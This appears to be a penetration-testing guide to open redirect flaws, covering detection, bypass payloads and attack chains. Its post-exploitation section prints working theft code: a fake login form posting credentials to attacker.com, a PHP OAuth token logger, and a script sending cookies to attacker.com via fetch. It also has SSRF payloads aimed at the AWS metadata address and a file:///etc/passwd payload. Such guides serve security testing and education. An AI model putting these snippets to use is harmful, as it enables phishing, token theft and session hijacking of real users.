Skip to main content

Open Redirect

Open Redirect is a web security vulnerability that allows an attacker to redirect users to an external malicious website. While often considered a lower severity issue, open redirects can be leveraged for phishing attacks, bypassing security controls, and chaining with other vulnerabilities like SSRF or OAuth attacks. How It Works

Open redirect vulnerabilities occur when an application accepts user-controlled input to determine a redirect destination without proper validation. For example:

<?php
$redirect = $_GET['url'];
header("Location: " . $redirect);
?>

An attacker could exploit this:

https://trusted-site.com/redirect?url=https://evil.com

When users click this link, they trust the domain but are redirected to a malicious site.

Detection

Manual Testing​

URL Parameter Tests​

Testing parameters that control redirects:

# Step 1: Identify redirect parameters
https://site.com/redirect?url=https://example.com
https://site.com/logout?next=/dashboard
https://site.com/auth?redirect_uri=https://example.com
https://site.com/go?to=https://example.com
https://site.com/click?target=https://example.com

# Step 2: Test with external domain
https://site.com/redirect?url=https://evil.com
https://site.com/logout?next=https://evil.com
https://site.com/auth?redirect_uri=https://evil.com

# Step 3: Check if redirect happens
# - Redirected to evil.com: Vulnerable
# - Error message: Protected
# - Redirected to default: Whitelist in place

# Step 4: Common parameter names to test
url, redirect, redirect_uri, redirect_url
next, return, returnto, return_to, return_url
destination, dest, target, to, goto, go
continue, callback, callback_url, redir

HTTP Header Tests​

Testing redirect headers:

# Referer-based redirects
GET /redirect HTTP/1.1
Host: target.com
Referer: https://evil.com

# X-Forwarded-Host redirect
GET /redirect HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Host header injection
GET /redirect HTTP/1.1
Host: evil.com

# Origin header
GET /redirect HTTP/1.1
Host: target.com
Origin: https://evil.com

Meta Refresh Tests​

Testing HTML meta refresh:

# Check if redirect uses meta refresh
# Look in response for:
<meta http-equiv="refresh" content="0;url=USER_INPUT">

# If found, test:
https://site.com/redirect?url=https://evil.com

# Check source code for:
<meta http-equiv="refresh" content="0;url=https://evil.com">

JavaScript Redirect Tests​

Testing JavaScript-based redirects:

# Check response for JavaScript redirects:
window.location = "USER_INPUT"
window.location.href = "USER_INPUT"
document.location = "USER_INPUT"
location.href = "USER_INPUT"

# Test with:
https://site.com/redirect?url=https://evil.com

# Check if JavaScript executes redirect

Automated Discovery​

Using Burp Suite​

# Step 1: Configure Burp to detect redirects
# Proxy > Options > Response Modification
# Disable "Follow redirections"

# Step 2: Identify redirect parameters
# Look for 3XX status codes
# Look for Location headers

# Step 3: Send to Intruder
# Set payload position: redirect?url=§https://example.com§
# Payload: Your domain with unique identifier
# Analyze responses for 3XX to your domain

# Step 4: Use Burp Extensions
# Install: Reflected Parameters
# Install: Param Miner
# Install: OpenRedireX

Using OpenRedireX​

# Basic scan
python3 openredirex.py -u https://target.com

# With URL list
python3 openredirex.py -l urls.txt

# With custom payloads
python3 openredirex.py -u https://target.com -p payloads.txt

# Saving results
python3 openredirex.py -u https://target.com -o results.txt

Using Custom Scripts​

# Python script for open redirect testing
import requests
from urllib.parse import urlparse

def test_open_redirect(url, param, payload):
test_url = f"{url}?{param}={payload}"
try:
response = requests.get(test_url, allow_redirects=False, timeout=5)

# Check for redirect
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location', '')

# Check if redirects to our payload
if payload in location:
return True, location

# Check for meta refresh
if '<meta' in response.text and 'refresh' in response.text.lower():
if payload in response.text:
return True, "Meta refresh redirect"

# Check for JavaScript redirect
js_redirects = ['window.location', 'document.location', 'location.href']
for js in js_redirects:
if js in response.text and payload in response.text:
return True, "JavaScript redirect"

return False, None

except Exception as e:
return False, str(e)

# Test multiple parameters
target = "https://target.com/redirect"
parameters = ['url', 'redirect', 'next', 'return', 'goto']
payload = "https://evil.com"

for param in parameters:
vulnerable, location = test_open_redirect(target, param, payload)
if vulnerable:
print(f"[+] Vulnerable: {param} -> {location}")
else:
print(f"[-] Not vulnerable: {param}")

Attack Vectors​

Direct Redirect​

Basic open redirect exploitation:

# Simple external redirect
https://target.com/redirect?url=https://evil.com

# With URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com

# With query parameters
https://target.com/redirect?url=https://evil.com/phishing?target=victim

# Multiple redirect parameters
https://target.com/redirect?url=https://evil.com&redirect=https://evil.com

Phishing Attacks​

Using trusted domains for phishing:

# Trusted domain in URL
https://legitimate-bank.com/redirect?url=https://fake-bank.com/login

# Phishing page that looks identical
# Victim sees legitimate-bank.com in URL
# Trusts the link
# Gets redirected to fake-bank.com
# Enters credentials on attacker's site

# Example phishing flow:
# 1. Email: "Security Alert from trusted-bank.com"
# 2. Link: https://trusted-bank.com/redirect?url=https://attacker.com/fake-login
# 3. User clicks, sees trusted domain
# 4. Redirected to fake login page
# 5. Credentials stolen

OAuth/SSO Token Theft​

Stealing OAuth tokens:

# OAuth flow with open redirect
# Normal OAuth: https://app.com/oauth?redirect_uri=https://app.com/callback
# Exploited: https://app.com/oauth?redirect_uri=https://evil.com/steal

# Attack flow:
1. User initiates OAuth login
2. Attacker crafts link: https://app.com/oauth?redirect_uri=https://evil.com
3. User authorizes application
4. Token sent to https://evil.com instead of legitimate callback
5. Attacker steals access token

# SAML SSO redirect
https://sso.company.com/login?RelayState=https://evil.com

SSRF via Open Redirect​

Chaining open redirect with SSRF:

# If target URL is validated but allows open redirect
# Attacker can bypass SSRF filters

# SSRF endpoint checks if URL starts with https://trusted.com
# But https://trusted.com has open redirect

# Payload:
https://target.com/fetch?url=https://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/

# Flow:
1. SSRF filter sees: https://trusted.com (allowed)
2. trusted.com redirects to: http://169.254.169.254
3. Server follows redirect
4. AWS metadata accessed

Filter Bypass for XSS​

Using open redirect to bypass XSS filters:

# If JavaScript URLs are filtered
# javascript:alert(1) - Blocked

# Use open redirect:
https://target.com/redirect?url=javascript:alert(1)

# Or data URLs:
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>

Bypass Techniques​

Protocol Bypass​

Using alternative protocols:


# If http/https are filtered
# Try protocol-relative URLs
url=//evil.com
url=///evil.com

# Try without protocol
url=evil.com

# JavaScript protocol
url=javascript:alert(document.domain)

# Data protocol
url=data:text/html,<script>alert(1)</script>

# File protocol
url=file:///etc/passwd

Domain Whitelist Bypass​

Bypassing domain restrictions:


# If whitelist checks for "trusted.com"

# Subdomain confusion
url=https://trusted.com.evil.com

# Using @ symbol
url=https://trusted.com@evil.com
url=https://evil.com@trusted.com # Some parsers use last domain

# Using # (fragment)
url=https://trusted.com#@evil.com

# Open redirect on whitelisted domain
url=https://trusted.com/redirect?url=https://evil.com

# IDN homograph attack
url=https://trusted.com # Using unicode lookalikes
# е (Cyrillic) looks like e (Latin)

Path Confusion​

Confusing path parsing:

# Using backslash (Windows-style)
url=https://trusted.com\@evil.com
url=https://trusted.com\evil.com

# Using question mark
url=https://trusted.com?@evil.com

# Using semicolon
url=https://trusted.com;@evil.com

# Using different slashes
url=https://trusted.com/./evil.com
url=https://trusted.com/../evil.com

Encoding Bypass​

Different encoding methods:

# URL encoding
url=https%3A%2F%2Fevil.com

# Double URL encoding
url=https%253A%252F%252Fevil.com

# HTML encoding
url=https://evil.com (&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;evil.com)

# Unicode encoding
url=\u0068\u0074\u0074\u0070\u0073://evil.com

# Mixed encoding
url=ht%74ps://evil.c%6fm

# Hex encoding
url=0x68747470733a2f2f6576696c2e636f6d

Whitespace and Special Characters​

Using whitespace to confuse parsers:

# Leading/trailing whitespace
url= https://evil.com
url=https://evil.com
url=%20https://evil.com

# Newlines
url=https://trusted.com%0Ahttps://evil.com
url=https://trusted.com%0Dhttps://evil.com

# Tabs
url=https://trusted.com%09https://evil.com

# Null byte (older systems)
url=https://trusted.com%00https://evil.com

Open Redirect Chaining​

Chaining multiple redirects:

# If filter checks final destination
# But doesn't follow redirects

# Create redirect chain:
url=https://allowed-domain1.com/redirect?url=https://allowed-domain2.com/redirect?url=https://evil.com

# Using URL shorteners
url=https://bit.ly/xxxxx
# Which redirects to https://evil.com

# Using redirect services
url=https://redirect.service.com/?url=https://evil.com

Parameter Pollution​

Using multiple parameters:

# If parser takes first, filter checks last
url=https://trusted.com&url=https://evil.com
url=https://evil.com&url=https://trusted.com

# Using array notation
url[]=https://trusted.com&url[]=https://evil.com

# Different parameter names
url=https://trusted.com&redirect=https://evil.com
redirect=https://trusted.com&url=https://evil.com

JavaScript URL Bypass​

Bypassing JavaScript protocol filters:

# Encoding javascript:
url=javascript:alert(1)
url=java%0script:alert(1)
url=java%09script:alert(1)
url=java%0Dscript:alert(1)

# Using data URLs
url=data:text/html,<script>alert(1)</script>
url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Using JavaScript entities
url=javascript&colon;alert(1)
url=javascript&#58;alert(1)
url=javascript&#x3A;alert(1)

Post-Exploitation

Credential Harvesting​

Creating convincing phishing pages:

<!-- Setup fake login page at evil.com -->
<!DOCTYPE html>
<html>
<head>
<title>Login - Trusted Bank</title>
<!-- Copy legitimate site's CSS -->
</head>
<body>
<!-- Exact copy of legitimate login page -->
<form action="https://attacker.com/steal" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
</body>
</html>

<!-- Send phishing email with open redirect link -->
<!-- https://trusted-bank.com/redirect?url=https://evil.com/fake-login -->

OAuth Token Theft​

Stealing OAuth/OpenID tokens:

# Setup token stealer at evil.com/steal
# evil.com/steal code:
<?php
$code = $_GET['code'];
$access_token = $_GET['access_token'];
$id_token = $_GET['id_token'];

// Log tokens
file_put_contents('tokens.txt',
"Code: $code\nAccess: $access_token\nID: $id_token\n\n",
FILE_APPEND);

// Redirect to legitimate site to avoid suspicion
header('Location: https://legitimate-app.com/login');
?>

# Craft malicious OAuth URL
https://oauth-provider.com/authorize?
client_id=CLIENT_ID&
redirect_uri=https://app.com/redirect?url=https://evil.com/steal&
response_type=token&
scope=read_profile

Session Hijacking​

Stealing session cookies:

// At evil.com/steal-session
<script>
// Steal cookies
var cookies = document.cookie;

// Send to attacker
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: cookies,
url: window.location.href,
referrer: document.referrer
})
});

// Redirect back to look legitimate
setTimeout(() => {
window.location = 'https://legitimate-site.com';
}, 500);
</script>

Business Logic Bypass​

Using redirects to bypass payment:

# Payment flow:
# 1. /checkout -> 2. /payment -> 3. /success

# If payment page has open redirect
# https://site.com/payment?next=https://evil.com

# Attack:
# 1. Add items to cart
# 2. Go to checkout
# 3. At payment, use: /payment?next=/success
# 4. Skip payment, direct to success page
# 5. Order confirmed without payment

Common Tools

Common Tools for Open Redirect Testing​

The following tools are commonly used by penetration testers and bug bounty hunters to identify, validate, and exploit Open Redirect vulnerabilities in web applications and APIs.

ToolDescriptionPrimary Use Case
OpenRedireXOpen redirect vulnerability scannerAutomated detection of open redirect issues
Burp SuiteIndustry-standard web application security testing platformManual testing, request manipulation, and redirect validation
OWASP ZAPOpen-source web application security scannerAutomated scanning for redirect vulnerabilities
Intigriti RedirectorBrowser extensionQuickly testing and validating redirect behavior
OpenRedirect ScannerPython-based security toolBatch testing of URLs for open redirect vulnerabilities
waybackurlsHistorical URL discovery toolFinding archived URLs and potential redirect parameters